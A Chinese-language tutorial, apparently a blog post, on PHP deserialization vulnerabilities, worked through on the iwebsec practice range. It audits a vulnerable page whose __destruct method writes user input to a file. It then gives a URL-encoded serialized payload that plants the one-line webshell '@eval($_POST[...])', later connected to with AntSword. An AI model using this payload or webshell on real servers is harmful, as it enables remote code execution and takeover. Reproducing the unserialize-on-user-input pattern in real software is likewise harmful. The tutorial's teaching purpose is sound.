Web安全:PHP反序列化漏洞的 测试
程序员在写代码时,没有对用户输入的序列化字符串做一个严格检测,导致恶意的用户可以控制反序列化的一个过程,因此导致XSS漏洞,代码执行,SQT注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。在进行反序列化的时候就有可能触发对象中的一些魔术方法.
目录:
Web安全:PHP反序列化漏洞的 测试
PHP反序列化漏洞的 测试:
由于靶场原因,这里无法成功写入问题:
测试使用的靶场是:iwebsec 靶场
搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391
序列化和反序列化的理解:
序列化理解:就是将对象转换成字符串。
反序列化理解:数据的格式转换对象的序列化利于对象的保存和传输,也可以让多个文件共亨对象。
PHP中有两个函数 serialize() 和 unserialize()
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
序列化 serialize() 函数理解:
//序列化serialize()将一个对象转换成一个字符串
<?php
class S{ //class是类.S是类名
public $test="bgxg111"; //public 访问控制修饰符,$test是一个变量,bgxg111是变量的值.
}
$s=new S(); //new是 将类实例化成对象.
echo serialize($s); //serialize()函数是 把 $s 这个对象进行序列化.
?>
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"bgxg111";}
// O:代表object 或 i:代表数组.
// 1:代表对象名字长度.
// S:对象的名称.
// 1:代表对象里面的个数.
// s:数据类型(string)
// 4:变量名称的长度.
// test:变量名称
// s:数据类型
// 7:变量值的长度
// bgxg111:变量值
反序列化 unserialize() 函数的理解:
//就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
<?php
$u='O:4:"bgxg":1:{s:4:"test";s:7:"bgxg111";}'; //将系列化复制给变量u
var_dump(unserialize($u)); //unserialize()是反系列化.
?>
//结果:object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "bgxg" ["test"]=> string(7) "bgxg111" }
常见的几个魔法函数:
__construct() #当一个对象创建时被调用
__destruct() #当一个对象销毁时被调用
__toString() #当一个对象被当作一个字符串使用
__sleep() #在对象在被序列化之前运行
__wakeup() #将在序列化之后立即被调用
PHP反序列化漏洞的 测试:
利用 PHP 反序列化漏洞向服务器写入一句话 木马.
代码审计:
<?php
highlight_file(__FILE__);
class a {
var $test = 'hello';
function __destruct(){
$fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
fputs($fp,$this->test);
fclose($fp);
}
}
$class = stripslashes($_GET['re']);
$class_unser = unserialize($class);
require '/var/www/html/vuln/unserialize/01/hello.php';
require_once '../../footer.php';
?>
存在__destruct函数可以将 $test 的值写入到hello.php文件中,所以可以利用这个函数将PHP代码传
hello.php文件中.(写入一个一句话木马)
<?php
class a{
var $test = '<?php @eval($_POST[bgxg])?>';
}
$a = new a();
$class_ser = serialize($a);
print_r($class_ser);
?>
上面代码执行的结果:
序列化后得到的结果是这个样子的
O:1:"a":1:{s:4:"test";s:27:"<?php @eval($_POST[bgxg])?>";}
// O:代表object 或 i:代表数组.
// 1:代表对象名字长度.
// a:对象的名称.
// 1:代表对象里面的个数.
// s:数据类型(string)
// 4:变量名称的长度.
// test:变量名称
// s:数据类型
// 27:变量值的长度
// <?php @eval($_POST[bgxg])?>:变量值
测试代码:
?re=O:1:%22a%22:1:{s:4:%22test%22;s:27:%22%3C?php%20@eval($_POST[bgxg])?%3E%22;}
执行时要把其他的符号转化为url编码.
生成的文件应该就在这个文件中.
查看 hello.php 文件:cat hello.php
利用 蚁剑 进行连接:
由于靶场原因,这里无法成功写入问题:
靶场中要注意在docker容器中并不存在 /var/www/html/vuln/unserialize/01/hello.php文件,真实
的路径为 /var/www/html/unserialize/01/hello.php 故而需要将源码中hello.php修改为正确路径
docker exec -it bc23 /bin/bash //切换为root用户
cd /var/www/html/
cd unserialize/
cd 01
vi index.php //编辑这个文件内容.(点击 i 输入,把下面的代码替换掉里面的源代码.)
(然后点击 esc 键,输入 :wq ,意思是退出并保存.)
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?re=hello </p>
</div>
<body>
<?php
highlight_file(__FILE__);
class a {
var $test = 'hello';
function __destruct(){
$fp = fopen("/var/www/html/unserialize/01/hello.php","w");
fputs($fp,$this->test);
fclose($fp);
}
}
$class = stripslashes($_GET['re']);
$class_unser = unserialize($class);
require '/var/www/html/unserialize/01/hello.php';
require_once '../../footer.php';
?>